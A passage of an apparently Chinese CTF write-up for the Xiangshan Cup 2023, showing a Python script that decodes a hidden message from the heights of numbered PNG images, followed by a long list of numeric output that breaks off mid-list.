class="line"></span><br><span class="line"><span class="comment"># 创建一个字典来记录不同宽度和高度的图片数量</span></span><br><span class="line">dimensions_count = {}</span><br><span class="line"></span><br><span class="line"><span class="comment"># 列出文件夹中的所有文件</span></span><br><span class="line">file_list = os.listdir(folder_path)</span><br><span class="line"></span><br><span class="line">total_str = <span class="string">''</span></span><br><span class="line"><span class="comment"># 遍历文件列表</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">4703</span>):</span><br><span class="line"> <span class="comment"># 构建完整的文件路径</span></span><br><span class="line"> file_path = os.path.join(folder_path, <span class="string">f'<span class="subst">{i}</span>.png'</span>)</span><br><span class="line"> <span class="comment"># 打开PNG图像文件</span></span><br><span class="line"> image = Image.<span class="built_in">open</span>(file_path)</span><br><span class="line"> <span class="comment"># 获取图像的宽度和高度</span></span><br><span class="line"> width, height = image.size</span><br><span class="line"> <span class="comment"># 构建一个唯一的键,以便记录图像尺寸</span></span><br><span class="line"></span><br><span class="line"> true_num = <span class="built_in">int</span>(<span class="built_in">str</span>(height), <span class="number">8</span>)</span><br><span class="line"> total_str += <span class="built_in">chr</span>(true_num)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(total_str)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>得到结果:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">PS</span> C:\Users\ASUSROG\Desktop> & D:/PYTHON/python.exe c:/Users/ASUSROG/Desktop/flags_inside/香山杯<span class="number">2023</span>/pintuheight.py</span><br><span class="line"><span class="number">74</span> <span class="number">82</span> <span class="number">70</span> <span class="number">84</span> <span class="number">67</span> <span class="number">53</span> <span class="number">83</span> <span class="number">70</span> <span class="number">71</span> <span class="number">53</span> <span class="number">83</span> <span class="number">85</span> <span class="number">52</span> <span class="number">83</span> <span class="number">84</span> <span class="number">86</span> <span class="number">72</span> <span class="number">66</span> <span class="number">84</span> <span class="number">84</span> <span class="number">67</span> <span class="number">82</span> <span class="number">50</span> <span class="number">83</span> <span class="number">75</span> <span class="number">86</span> <span class="number">83</span> <span class="number">69</span> <span class="number">50</span> <span class="number">78</span> <span class="number">75</span> <span class="number">86</span> <span class="number">73</span> <span class="number">85</span> <span class="number">89</span> <span class="number">70</span> <span class="number">67</span> <span class="number">83</span> <span class="number">50</span> <span class="number">77</span> <span class="number">79</span> <span class="number">86</span> <span class="number">70</span> <span class="number">85</span> <span class="number">87</span> <span class="number">77</span> <span class="number">76</span> <span class="number">76</span> <span class="number">71</span> <span class="number">86</span> <span class="number">75</span> <span class="number">87</span> <span class="number">73</span> <span class="number">84</span> <span class="number">75</span> <span class="number">76</span> <span class="number">74</span> <span class="number">90</span> <span class="number">83</span> <span class="number">69</span> <span class="number">50</span> <span class="number">78</span> <span class="number">75</span> <span class="number">86</span> <span class="number">77</span> <span class="number">82</span> <span class="number">70</span> <span class="number">85</span> <span class="number">87</span> <span class="number">89</span> <span class="number">51</span> <span class="number">69</span> <span class="number">74</span> <span class="number">85</span> <span class="number">51</span> <span class="number">86</span> <span class="number">75</span> <span class="number">90</span> <span class="number">67</span> <span class="number">78</span> <span class="number">71</span> <span class="number">86</span> <span class="number">75</span> <span class="number">85</span> <span class="number">50</span> <span class="number">83</span> <span class="number">75</span> <span class="number">81</span> <span class="number">77</span> <span class="number">78</span> <span class="number">88</span> <span class="number">69</span> <span class="number">50</span> <span class="number">87</span> <span class="number">67</span> <span class="number">86</span> <span class="number">77</span> <span class="number">82</span> <span class="number">71</span> <span class="number">84</span> <span class="number">75</span> <span class="number">86</span> <span class="number">75</span> <span class="number">78</span> <span class="number">77</span> <span class="number">77</span> <span class="number">50</span> <span class="number">88</span> <span class="number">77</span> <span class="number">82</span> <span class="number">75</span> <span class="number">76</span> <span class="number">71</span> <span class="number">69</span> <span class="number">50</span> <span class="number">85</span> <span class="number">83</span> <span class="number">53</span> <span class="number">83</span> <span class="number">69</span> <span class="number">79</span> <span class="number">70</span> <span class="number">87</span> <span class="number">84</span> <span class="number">77</span> <span class="number">82</span> <span class="number">68</span> <span class="number">82</span> <span class="number">78</span> <span class="number">90</span> <span class="number">86</span> <span class="number">84</span> <span class="number">79</span> <span class="number">53</span> <span class="number">76</span> <span class="number">78</span> <span class="number">71</span> <span class="number">90</span> <span class="number">67</span> <span class="number">71</span> <span class="number">89</span> <span class="number">87</span> <span class="number">68</span> <span class="number">86</span> <span class="number">79</span> <span class="number">86</span> <span class="number">89</span> <span class="number">85</span> <span class="number">71</span> <span class="number">53</span> <span class="number">75</span> <span class="number">89</span> <span class="number">75</span> <span class="number">86</span> <span class="number">87</span> <span class="number">84</span> <span class="number">77</span> <span class="number">82</span> <span class="number">68</span> <span class="number">82</span> <span class="number">77</span> <span class="number">82</span> <span class="number">66</span> <span class="number">71</span> <span class="number">52</span> <span class="number">90</span> <span class="number">68</span> <span class="number">78</span> <span class="number">71</span> <span class="number">90</span> <span class="number">74</span> <span class="number">69</span> <span class="number">52</span> <span class="number">84</span> <span class="number">76</span> <span class="number">87</span> <span class="number">73</span> <span class="number">82</span> <span class="number">89</span> <span class="number">87</span> <span class="number">73</span> <span class="number">84</span> <span class="number">74</span> <span class="number">86</span> <span class="number">79</span> <span class="number">86</span> <span class="number">87</span> <span class="number">84</span> <span class="number">77</span> <span class="number">85</span> <span class="number">83</span> <span class="number">79</span> <span class="number">77</span> <span class="number">82</span> <span class="number">71</span> <span class="number">88</span> <span class="number">75</span> <span class="number">52</span> <span class="number">76</span> <span class="number">79</span> <span class="number">78</span> <span class="number">77</span> <span class="number">50</span> <span class="number">86</span> <span class="number">75</span> <span class="number">51</span> <span class="number">74</span> <span class="number">87</span> <span class="number">73</span> <span class="number">82</span> <span class="number">87</span> <span class="number">71</span> <span class="number">73</span> <span class="number">84</span> <span class="number">74</span> <span class="number">86</span> <span class="number">77</span> <span class="number">82</span> <span class="number">87</span> <span class="number">84</span> <span class="number">77</span> <span class="number">85</span> <span class="number">83</span> <span class="number">86</span> <span class="number">74</span> <span class="number">86</span> <span class="number">51</span> <span class="number">70</span> <span class="number">69</span> <span class="number">86</span> <span class="number">76</span> <span class="number">69</span> <span class="number">74</span> <span class="number">85</span> <span class="number">50</span> <span class="number">88</span> <span class="number">75</span> <span class="number">90</span> <span class="number">67</span> <span class="number">67</span> <span class="number">78</span> <span class="number">90</span> <span class="number">75</span> <span class="number">87</span> <span class="number">73</span> <span class="number">84</span> <span class="number">74</span> <span class="number">86</span> <span class="number">74</span> <span class="number">90</span> <span class="number">83</span> <span class="number">69</span> <span class="number">50</span> <span class="number">78</span> <span class="number">75</span> <span class="number">86</span> <span class="number">78</span> <span class="number">90</span> <span class="number">86</span> <span class="number">84</span> <span class="number">79</span> <span class="number">86</span> <span class="number">76</span> <span class="number">69</span> <span class="number">74</span> <span class="number">85</span> <span class="number">50</span> <span class="number">86</span> <span class="number">67</span> <span class="number">87</span> <span class="number">68</span> <span class="number">86</span> <span class="number">71</span> <span class="number">86</span> <span class="number">75</span> <span class="number">85</span> <span class="number">75</span> <span class="number">84</span> <span class="number">76</span> <span class="number">69</span> <span class="number">79</span> <span class="number">70</span> <span class="number">87</span> <span class="number">84</span> <span class="number">77</span> <span class="number">82</span> <span class="number">68</span> <span class="number">77</span> <span class="number">77</span> <span class="number">82</span> <span class="number">71</span> <span class="number">84</span> <span class="number">75</span> <span class="number">86</span> <span class="number">75</span> <span class="number">89</span> <span class="number">79</span> <span class="number">85</span> <span class="number">51</span> <span class="number">88</span> <span class="number">73</span> <span class="number">82</span> <span class="number">74</span> <span class="number">87</span> <span class="number">75</span> <span class="number">74</span> <span class="number">75</span> <span class="number">71</span> <span class="number">73</span> <span class="number">84</span> <span class="number">74</span> <span class="number">86</span> <span class="number">75</span> <span class="number">86</span> <span class="number">83</span> <span class="number">71</span> <span class="number">69</span> <span class="number">79</span> <span class="number">68</span> <span class="number">81</span> <span class="number">78</span> <span class="number">74</span> <span class="number">50</span> <span class="number">85</span> <span class="number">87</span> <span class="number">87</span> <span class="number">67</span> <span class="number">76</span> <span class="number">71</span> <span class="number">66</span> <span class="number">50</span> <span class="number">87</span> <span class="number">87</span> <span class="number">84</span> <span class="number">68</span> <span class="number">67</span> <span class="number">79</span> <span class="number">85</span> <span class="number">51</span> <span class="number">69</span> <span class="number">87</span> <span class="number">81</span> <span class="number">82</span> <span class="number">81</span> <span class="number">74</span> <span class="number">82</span> <span class="number">67</span> <span class="number">88</span> <span class="number">75</span> <span class="number">87</span> <span class="number">68</span> <span class="number">70</span> <span class="number">77</span> <span class="number">82</span> <span class="number">66</span> <span class="number">68</span> <span class="number">73</span> <span class="number">78</span> <span class="number">76</span> <span class="number">74</span> <span class="number">71</span> <span class="number">86</span> <span class="number">88</span> <span class="number">69</span> <span class="number">85</span> <span class="number">83</span> <span class="number">82</span> <span class="number">80</span> <span class="number">77</span> <span class="number">70</span> <span class="number">69</span> <span class="number">85</span> <span class="number">87</span> <span class="number">53</span> <span class="number">84</span> <span class="number">89</span> <span class="number">79</span> <span class="number">70</span> <span class="number">70</span> <span class="number">69</span> <span class="number">69</span> <span class="number">87</span> <span class="number">67</span> <span class="number">84</span> <span class="number">79</span> <span class="number">82</span> <span class="number">71</span> <span class="number">86</span> <span class="number">81</span> <span class="number">83</span> <span class="number">66</span> <span class="number">82</span> <span class="number">78</span> <span class="number">78</span> <span class="number">74</span> <span class="number">72</span> <span class="number">75</span> <span class="number">83</span> <span class="number">50</span> <span class="number">72</span> <span class="number">75</span> <span class="number">82</span> <span class="number">68</span> <span class="number">88</span> <span class="number">73</span> <span class="number">86</span> <span class="number">83</span> <span class="number">83</span> <span class="number">79</span> <span class="number">86</span> <span class="number">69</span> <span class="number">88</span> <span class="number">69</span> <span class="number">53</span> <span class="number">74</span> <span class="number">87</span> <span class="number">78</span> <span class="number">74</span> <span class="number">71</span> <span class="number">87</span> <span class="number">67</span> <span class="number">87</span> <span class="number">67</span> <span class="number">76</span> <span class="number">73</span> <span class="number">74</span> <span class="number">73</span> <span class="number">88</span> <span class="number">65</span> <span class="number">84</span> <span class="number">66</span> <span class="number">88</span> <span class="number">78</span> <span class="number">90</span> <span class="number">86</span> <span class="number">85</span> <span class="number">89</span> <span class="number">81</span> <span class="number">82</span> <span class="number">82</span> <span class="number">79</span> <span class="number">86</span> <span class="number">73</span> <span class="number">86</span> <span class="number">77</span> <span class="number">77</span> <span class="number">68</span> <span class="number">78</span> <span class="number">79</span> <span class="number">82</span> <span class="number">70</span> <span class="number">87</span> <span class="number">75</span> <span class="number">82</span> <span class="number">50</span> <span class="number">74</span> <span class="number">79</span> <span class="number">74</span> <span class="number">70</span> <span class="number">85</span> <span class="number">50</span> <span class="number">83</span> <span class="number">50</span> <span class="number">74</span> <span class="number">71</span> <span class="number">66</span> <span class="number">76</span> <span class="number">69</span> <span class="number">75</span> <span class="number">84</span> <span class="number">75</span> <span class="number">81</span> <span class="number">79</span> <span class="number">70</span> <span class="number">71</span> <span class="number">85</span> <span class="number">52</span> <span class="number">85</span> <span class="number">75</span> <span class="number">71</span> <span class="number">74</span> <span class="number">78</span> <span class="number">50</span> <span class="number">70</span> <span class="number">69</span> <span class="number">85</span> <span class="number">67</span> <span class="number">78</span> <span class="number">75</span> <span class="number">89</span> <span class="number">50</span> <span class="number">69</span> <span class="number">81</span> <span class="number">81</span> <span class="number">75</span> <span class="number">79</span> <span class="number">75</span> <span class="number">86</span> <span class="number">70</span> <span class="number">85</span> <span class="number">50</span> <span class="number">84</span> <span class="number">74</span> <span class="number">86</span> <span class="number">76</span> <span class="number">66</span> <span class="number">88</span> <span class="number">69</span> <span class="number">83</span> <span class="number">83</span> <span class="number">51</span> <span class="number">78</span> <span class="number">77</span> <span class="number">81</span> <span class="number">88</span> <span class="number">86</span> <span class="number">77</span> <span class="number">78</span> <span class="number">90</span> <span class="number">90</span> <span class="number">75</span> <span class="number">89</span> <span class="number">50</span> <span class="number">85</span> <span class="number">81</span> <span class="number">84</span> <span class="number">74</span> <span class="number">80</span> <span class="number">77</span> <span class="number">86</span> <span class="number">83</span> <span class="number">85</span> <span class="number">50</span> <span class="number">83</span> <span class="number">50</span> <span class="number">82</span> <span class="number">73</span> <span class="number">78</span> <span class="number">85</span> <span class="number">88</span> <span class="number">75</span> <span class="number">77</span> <span class="number">76</span> <span class="number">86</span> <span class="number">75</span> <span class="number">70</span> <span class="number">67</span> <span class="number">87</span> <span class="number">54</span> <span class="number">52</span> <span class="number">75</span> <span class="number">76</span> <span class="number">74</span> <span class="number">77</span> <span class="number">90</span> <span class="number">88</span> <span class="number">79</span> <span class="number">50</span> <span class="number">74</span> <span class="number">86</span> <span class="number">74</span> <span class="number">78</span> <span class="number">69</span> <span class="number">71</span> <span class="number">73</span> <span class="number">54</span> <span class="number">74</span> <span class="number">81</span> <span class="number">79</span> <span class="number">53</span> <span class="number">71</span> <span class="number">68</span> <span class="number">75</span> <span class="number">86</span> <span class="number">74</span> <span class="number">87</span> <span class="number">79</span> <span class="number">81</span> <span class="number">51</span> <span class="number">84</span> <span class="number">65</span> <span class="number">77</span> <span class="number">83</span> <span class="number">76</span> <span class="number">74</span> <span class="number">86</span> <span class="number">70</span> <span class="number">70</span> <span class="number">85</span> <span class="number">50</span> <span class="number">83</span> <span class="number">78</span> <span class="number">71</span> <span class="number">65</span> <span class="number">89</span> <span class="number">87</span> <span class="number">52</span> <span class="number">89</span> <span class="number">50</span> <span class="number">89</span> <span class="number">77</span> <span class="number">70</span> <span class="number">71</span> <span class="number">87</span> <span class="number">87</span> <span class="number">85</span> <span class="number">83</span> <span class="number">73</span> <span class="number">78</span> <span class="number">74</span> <span class="number">50</span> <span class="number">87</span> <span class="number">89</span> <span class="number">53</span> <span class="number">51</span> <span class="number">69</span> <span class="number">71</span> <span class="number">65</span> <span class="number">52</span> <span class="number">87</span> <span class="number">89</span> <span class="number">84</span> <span class="number">74</span> <span class="number">87</span> <span class="number">72</span> <span class="number">66</span> <span class="number">52</span> <span class="number">71</span> <span class="number">83</span> <span class="number">90</span> <span class="number">50</span> <span class="number">76</span> <span class="number">74</span> <span class="number">73</span> <span class="number">52</span> <span class="number">87</span> <span class="number">69</span> <span class="number">78</span> <span class="number">68</span> <span class="number">87</span> <span class="number">74</span> <span class="number">81</span> <span class="number">51</span> <span class="number">84</span> <span class="number">75</span> <span class="number">84</span> <span class="number">66</span> <span class="number">84</span> <span class="number">71</span> <span class="number">53</span> <span class="number">76</span> <span class="number">69</span> <span class="number">52</span> <span class="number">53</span> <span class="number">68</span> <span class="number">72</span> <span class="number">74</span> <span class="number">78</span> <span class="number">83</span> <span class="number">85</span> <span class="number">85</span> <span class="number">76</span> <span class="number">90</span> <span class="number">86</span> <span class="number">79</span> <span class="number">66</span> <span class="number">70</span> <span class="number">70</span> <span class="number">77</span> <span class="number">77</span> <span class="number">74</span> <span class="number">83</span> <span class="number">74</span> <span class="number">78</span> <span class="number">50</span> <span class="number">85</span> <span class="number">50</span> <span class="number">78</span> <span class="number">83</span> <span class="number">82</span> <span class="number">77</span> <span class="number">52</span> <span class="number">89</span> <span class="number">84</span> <span class="number">83</span> <span class="number">79</span> <span class="number">75</span> <span class="number">87</span> <span class="number">77</span> <span class="number">69</span> <span class="number">90</span> <span class="number">69</span> <span class="number">89</span> <span class="number">78</span> <span class="number">51</span> <span class="number">66</span> <span class="number">79</span> <span class="number">81</span> <span class="number">52</span> <span class="number">85</span> <span class="number">75</span> <span class="number">90</span> <span class="number">76</span> <span class="number">68</span> <span class="number">78</span> <span class="number">70</span> <span class="number">71</span> <span class="number">86</span> <span class="number">81</span> <span class="number">52</span> <span class="number">83</span> <span class="number">78</span> <span class="number">74</span> <span class="number">78</span> <span class="number">73</span> <span class="number">85</span> <span class="number">85</span> <span class="number">79</span> <span class="number">74</span> <span class="number">88</span> <span class="number">78</span> <span class="number">90</span> <span class="number">51</span> <span class="number">70</span> <span class="number">67</span> <span class="number">50</span> <span class="number">51</span> <span class="number">79</span> <span class="number">79</span> <span class="number">74</span> <span class="number">70</span> <span class="number">88</span> <span class="number">79</span> <span class="number">78</span> <span class="number">76</span> <span class="number">90</span> <span class="number">75</span> <span class="number">70</span> <span class="number">69</span> <span class="number">84</span> <span class="number">81</span> <span class="number">77</span> <span class="number">84</span> <span class="number">79</span> <span class="number">73</span> <span class="number">52</span> <span class="number">51</span> <span class="number">86</span> <span class="number">71</span> <span class="number">83</span> <span class="number">75</span> <span class="number">78</span> <span class="number">75</span> <span class="number">66</span> <span class="number">75</span> <span class="number">84</span> <span class="number">67</span> <span class="number">86</span> <span class="number">83</span> <span class="number">81</span> <span class="number">73</span> <span class="number">78</span> <span class="number">85</span> <span class="number">87</span> <span class="number">69</span> <span class="number">78</span> <span class="number">67</span> <span class="number">76</span> <span class="number">71</span> <span class="number">70</span> <span class="number">68</span> <span class="number">87</span> <span class="number">67</span> <span class="number">89</span> <span class="number">84</span> <span class="number">74</span> <span class="number">74</span> <span class="number">85</span> <span class="number">50</span> <span class="number">71</span> <span class="number">73</span> <span class="number">83</span> <span class="number">76</span> <span class="number">72</span> <span class="number">71</span> <span class="number">82</span> <span class="number">51</span> <span class="number">84</span> <span class="number">71</span> <span class="number">52</span> <span class="number">83</span> <span class="number">82</span> <span class="number">73</span> <span class="number">77</span> <span class="number">90</span> <span class="number">85</span> <span class="number">69</span> <span class="number">83</span> <span class="number">50</span> <span class="number">89</span> <span class="number">78</span> <span class="number">90</span> <span class="number">68</span> <span class="number">84</span> <span class="number">65</span> <span class="number">77</span> <span class="number">68</span> <span class="number">85</span> <span class="number">74</span> <span class="number">85</span> <span class="number">89</span> <span class="number">69</span> <span class="number">75</span> <span class="number">84</span> <span class="number">74</span> <span class="number">81</span> <span class="number">71</span> <span class="number">86</span> <span class="number">52</span> <span class="number">69</span> <span class="number">83</span> <span class="number">54</span> <span class="number">74</span> <span class="number">82</span> <span class="number">78</span> <span class="number">86</span> <span class="number">70</span> <span class="number">87</span> <span class="number">71</span> <span class="number">77</span> <span class="number">67</span> <span class="number">85</span> <span class="number">74</span> <span class="number">73</span> <span class="number">51</span> <span class="number">88</span> <span class="number">75</span> <span class="number">78</span> <span class="number">50</span> <span class="number">78</span> <span class="number">75</span> <span class="number">90</span> <span class="number">52</span> <span class="number">69</span> <span class="number">52</span> <span class="number">53</span> <span class="number">67</span> <span class="number">72</span> <span class="number">71</span> <span class="number">66</span> <span class="number">50</span> <span class="number">68</span> <span class="number">71</span> <span class="number">89</span> <span class="number">84</span> <span class="number">66</span> <span class="number">75</span> <span class="number">70</span> <span class="number">77</span> <span class="number">72</span> <span class="number">83</span> <span class="number">51</span> <span class="number">51</span> <span class="number">88</span> <span class="number">73</span> <span class="number">86</span> <span class="number">72</span> <span class="number">71</span> <span class="number">75</span> <span class="number">54</span> <span class="number">75</span> <span class="number">70</span> <span class="number">79</span> <span class="number">52</span> <span class="number">89</span> <span class="number">84</span> <span class="number">67</span> <span class="number">81</span> <span class="number">50</span> <span class="number">67</span> <span class="number">71</span> <span class="number">82</span> <span class="number">90</span> <span class="number">71</span> <span class="number">52</span> <span class="number">86</span> <span class="number">83</span> <span class="number">89</span> <span class="number">73</span> <span class="number">70</span> <span class="number">73</span> <span class="number">87</span> <span class="number">69</span> <span class="number">54</span> <span class="number">68</span> <span class="number">88</span> <span class="number">73</span> <span class="number">78</span> <span class="number">90</span> <span class="number">69</span> <span class="number">87</span> <span class="number">52</span> <span class="number">66</span> <span class="number">84</span> <span class="number">73</span> <span class="number">53</span> <span class="number">81</span> <span class="number">85</span> <span class="number">67</span> <span class="number">50</span> <span class="number">76</span> <span class="number">83</span> <span class="number">71</span> <span class="number">53</span> <span class="number">76</span> <span class="number">69</span> <span class="number">83</span> <span class="number">86</span> <span class="number">84</span> <span class="number">79</span> <span class="number">73</span> <span class="number">70</span> <span class="number">50</span> <span class="number">69</span> <span class="number">52</span> <span class="number">89</span> <span class="number">75</span> <span class="number">84</span> <span class="number">71</span> <span class="number">77</span> <span class="number">51</span> <span class="number">84</span> <span class="number">73</span> <span class="number">86</span> <span class="number">67</span> <span class="number">75</span> <span class="number">77</span> <span class="number">73</span> <span class="number">89</span> <span class="number">84</span> <span class="number">69</span> <span class="number">51</span> <span class="number">75</span> <span class="number">72</span> <span class="number">74</span> <span class="number">77</span> <span class="number">88</span> <span class="number">88</span> <span class="number">73</span> <span class="number">89</span> <span class="number">51</span> <span class="number">80</span> <span class="number">73</span> <span class="number">53</span> <span class="number">50</span> <span class="number">69</span> <span class="number">75</span> <span class="number">51</span> <span class="number">84</span> <span class="number">86</span> <span class="number">78</span> <span class="number">70</span> <span class="number">90</span> <span class="number">69</span> <span class="number">87</span> <span class="number">89</span> <span class="number">75</span> <span class="number">78</span> <span class="number">79</span> <span class="number">53</span> <span class="number">76</span> <span class="number">71</span> <span class="number">87</span> <span class="number">50</span> <span class="number">83</span> <span class="number">67</span> <span class="number">75</span> <span class="number">90</span> <span class="number">89</span> <span class="number">69</span> <span class="number">75</span> <span class="number">53</span> <span class="number">90</span> <span class="number">85</span> <span class="number">78</span> <span class="number">81</span> <span class="number">90</span> <span class="number">88</span> <span class="number">75</span> <span class="number">79</span> <span class="number">68</span> <span class="number">88</span> <span class="number">76</span> <span class="number">66</span> <span class="number">67</span> <span class="number">87</span> <span class="number">52</span> <span class="number">77</span> <span class="number">74</span> <span class="number">82</span> <span class="number">75</span> <span class="number">90</span> <span class="number">70</span> <span class="number">86</span> <span class="number">65</span> <span class="number">90</span> <span class="number">67</span> <span class="number">76</span> <span class="number">75</span> <span class="number">77</span> <span class="number">51</span> <span class="number">68</span> <span class="number">83</span> <span class="number">89</span> <span class="number">82</span> <span class="number">89</span> <span class="number">75</span> <span class="number">66</span> <span class="number">88</span> <span class="number">69</span> <span class="number">52</span> <span class="number">78</span> <span class="number">67</span> <span class="number">73</span> <span class="number">74</span> <span class="number">74</span> <span class="number">86</span> <span class="number">84</span> <span class="number">69</span> <span class="number">52</span> <span class="number">75</span> <span class="number">70</span> <span class="number">75</span> <span class="number">90</span> <span class="number">73</span> <span class="number">84</span> <span class="number">65</span> <span class="number">50</span> <span class="number">75</span> <span class="number">74</span> <span class="number">77</span> <span class="number">82</span> <span class="number">51</span> <span class="number">85</span> <span class="number">87</span> <span class="number">81</span> <span class="number">82</span> <span class="number">85</span> <span class="number">77</span> <span class="number">70</span> <span class="number">85</span> <span class="number">87</span> <span class="number">69</span> <span class="number">78</span> <span class="number">68</span> <span class="number">87</span> <span class="number">74</span> <span class="number">74</span> <span class="number">72</span> <span class="number">70</span> <span class="number">67</span> <span class="number">78</span> <span class="number">68</span> <span class="number">78</span> <span class="number">78</span> <span class="number">78</span> <span class="number">74</span> <span class="number">70</span> <span class="number">71</span> <span class="number">77</span> <span class="number">90</span> <span class="number">88</span> <span class="number">77</span> <span class="number">69</span> <span class="number">88</span> <span class="number">88</span> <span class="number">73</span> <span class="number">89</span> <span class="number">84</span> <span class="number">66</span> <span class="number">75</span> <span class="number">66</span> <span class="number">73</span> <span class="number">85</span> <span class="number">50</span> <span class="number">90</span> <span class="number">74</span> <span class="number">80</span> <span class="number">74</span> <span class="number">73</span> <span class="number">88</span> <span class="number">86</span> <span class="number">67</span> <span class="number">83</span> <span class="number">75</span> <span class="number">89</span> <span class="number">79</span> <span class="number">73</span> <span class="number">50</span> <span class="number">72</span> <span class="number">85</span> <span class="number">53</span> <span class="number">68</span> <span class="number">72</span> <span class="number">75</span> <span class="number">77</span> <span class="number">51</span> <span class="number">85</span> <span class="number">83</span> <span class="number">82</span> <span class="number">74</span> <span class="number">90</span> <span class="number">79</span> <span class="number">70</span> <span class="number">71</span> <span class="number">83</span> <span class="number">54</span> <span class="number">52</span> <span class="number">50</span> <span class="number">79</span> <span class="number">71</span> <span class="number">70</span> <span class="number">68</span> <span class="number">86</span> <span class="number">81</span> <span class="number">85</span> <span class="number">51</span> <span class="number">74</span> <span class="number">71</span> <span class="number">65</span> <span class="number">89</span> <span class="number">85</span> <span class="number">87</span> <span class="number">50</span> <span class="number">84</span> <span class="number">88</span> <span class="number">71</span> <span class="number">82</span> <span class="number">65</span> <span class="number">85</span> <span class="number">83</span> <span class="number">53</span> <span class="number">75</span> <span class="number">69</span> <span class="number">75</span> <span class="number">66</span> <span class="number">88</span> <span class="number">69</span> <span class="number">50</span> <span class="number">50</span> <span class="number">50</span> <span class="number">50</span> <span class="number">74</span> <span class="number">82</span> <span class="number">84</span> <span class="number">84</span> <span class="number">71</span> <span class="number">52</span> <span class="number">66</span> <span class="number">82</span> <span class="number">73</span> <span class="number">85</span> <span class="number">50</span> <span class="number">84</span> <span class="number">77</span> <span class="number">79</span> <span class="number">75</span> <span class="number">78</span> <span class="number">71</span> <span class="number">74</span> <span class="number">51</span> <span class="number">85</span> <span class="number">67</span> <span class="number">84</span> <span class="number">82</span> <span class="number">86</span> <span class="number">73</span> <span class="number">90</span> <span class="number">86</span> <span class="number">69</span> <span class="number">83</span> <span class="number">87</span> <span class="number">67</span> <span class="number">78</span> <span class="number">78</span> <span class="number">90</span> <span class="number">82</span> <span class="number">85</span> <span class="number">87</span> <span class="number">86</span> <span class="number">83</span> <span class="number">76</span> <span class="number">74</span> <span class="number">85</span> <span class="number">50</span> <span class="number">69</span> <span class="number">77</span> <span class="number">53</span> <span class="number">67</span> <span class="number">79</span> <span class="number">74</span> <span class="number">77</span> <span class="number">51</span> <span class="number">86</span> <span class="number">67</span> <span class="number">53</span> <span class="number">90</span> <span class="number">82</span> <span class="number">77</span> <span class="number">82</span> <span class="number">88</span> <span class="number">68</span> <span class="number">65</span> <span class="number">51</span> <span class="number">90</span> <span class="number">88</span> <span class="number">78</span> <span class="number">70</span> <span class="number">67</span> <span class="number">84</span> <span class="number">75</span> <span class="number">87</span> <span class="number">67</span> <span class="number">75</span> <span class="number">74</span> <span class="number">90</span> <span class="number">73</span> <span class="number">87</span> <span class="number">77</span> <span class="number">77</span> <span class="number">76</span> <span class="number">68</span> <span class="number">71</span> <span class="number">82</span> <span class="number">69</span> <span class="number">87</span> <span class="number">85</span> <span class="number">81</span> <span class="number">84</span> <span class="number">80</span> <span class="number">74</span> <span class="number">90</span> <span class="number">85</span> <span class="number">88</span> <span class="number">83</span> <span class="number">77</span> <span class="number">66</span> <span class="number">88</span> <span class="number">78</span> <span class="number">70</span> <span class="number">84</span> <span class="number">86</span> <span class="number">81</span> <span class="number">83</span> <span class="number">67</span> <span class="number">76</span> <span class="number">73</span> <span class="number">73</span> <span class="number">90</span> <span class="number">86</span> <span class="number">73</span> <span class="number">50</span> <span class="number">84</span> <span class="number">67</span> <span class="number">78</span> <span class="number">82</span> <span class="number">73</span> <span class="number">69</span> <span class="number">75</span> <span class="number">50</span> <span class="number">50</span> <span class="number">76</span> <span class="number">71</span> <span class="number">90</span> <span class="number">69</span> <span class="number">87</span> <span class="number">69</span> <span class="number">85</span> <span class="number">84</span> <span class="number">77</span> <span class="number">74</span> <span class="number">85</span> <span class="number">50</span> <span class="number">87</span> <span class="number">67</span> <span class="number">90</span> <span class="number">74</span> <span class="number">90</span> <span class="number">74</span> <span class="number">86</span> <span class="number">52</span> <span class="number">70</span> <span class="number">85</span> <span class="number">50</span> <span class="number">83</span> <span class="number">74</span> <span class="number">77</span> <span class="number">86</span> <span class="number">68</span> <span class="number">70</span> <span class="number">81</span> <span class="number">86</span> <span class="number">82</span> <span class="number">88</span> <span class="number">71</span> <span class="number">70</span> <span class="number">70</span> <span class="number">71</span> <span class="number">87</span> <span class="number">85</span> <span class="number">66</span> <span class="number">89</span> <span class="number">74</span> <span class="number">74</span> <span class="number">90</span> <span class="number">71</span> <span class="number">52</span> <span class="number">54</span> <span class="number">67</span> <span class="number">89</span> <span class="number">71</span> <span class="number">85</span> <span class="number">89</span> <span class="number">72</span> <span class="number">83</span> <span class="number">87</span> <span class="number">66</span> <span class="number">80</span> <span class="number">71</span> <span class="number">85</span> <span class="number">52</span> <span class="number">69</span> <span class="number">87</span> <span class="number">89</span> <span class="number">82</span> <span class="number">81</span> <span class="number">74</span> <span class="number">70</span> <span class="number">86</span> <span class="number">71</span> <span class="number">69</span> <span class="number">77</span> <span class="number">76</span> <span class="number">76</span> <span class="number">78</span> <span class="number">86</span> <span class="number">86</span> <span class="number">84</span> <span class="number">83</span> <span class="number">52</span> <span class="number">75</span> <span class="number">78</span> <span class="number">79</span> <span class="number">81</span> <span class="number">52</span> <span class="number">68</span> <span class="number">75</span> <span class="number">83</span> <span class="number">83</span> <span class="number">72</span> <span class="number">76</span> <span class="number">65</span> <span class="number">89</span> <span class="number">68</span> <span class="number">71</span> <span class="number">82</span> <span class="number">74</span> <span class="number">86</span> <span class="number">78</span> <span class="number">66</span> <span class="number">70</span> <span class="number">85</span> <span class="number">83</span> <span class="number">78</span> <span class="number">75</span> <span class="number">70</span> <span class="number">78</span> <span class="number">90</span> <span class="number">72</span> <span class="number">68</span> <span class="number">73</span> <span class="number">50</span> <span class="number">67</span> <span class="number">70</span> <span class="number">79</span> <span class="number">85</span> <span class="number">51</span> <span class="number">85</span> <span class="number">50</span> <span class="number">77</span> <span class="number">50</span> <span class="number">78</span> <span class="number">77</span> <span class="number">70</span> <span class="number">87</span> <span class="number">85</span> <span class="number">71</span> <span class="number">83</span> <span class="number">75</span> <span class="number">83</span> <span class="number">77</span> <span class="number">70</span> <span class="number">77</span> <span class="number">71</span> <span class="number">87</span> <span class="number">78</span> <span class="number">50</span> <span class="number">87</span> <span class="number">71</span> <span class="number">77</span> <span class="number">51</span> <span class="number">84</span> <span class="number">65</span> <span class="number">79</span> <span 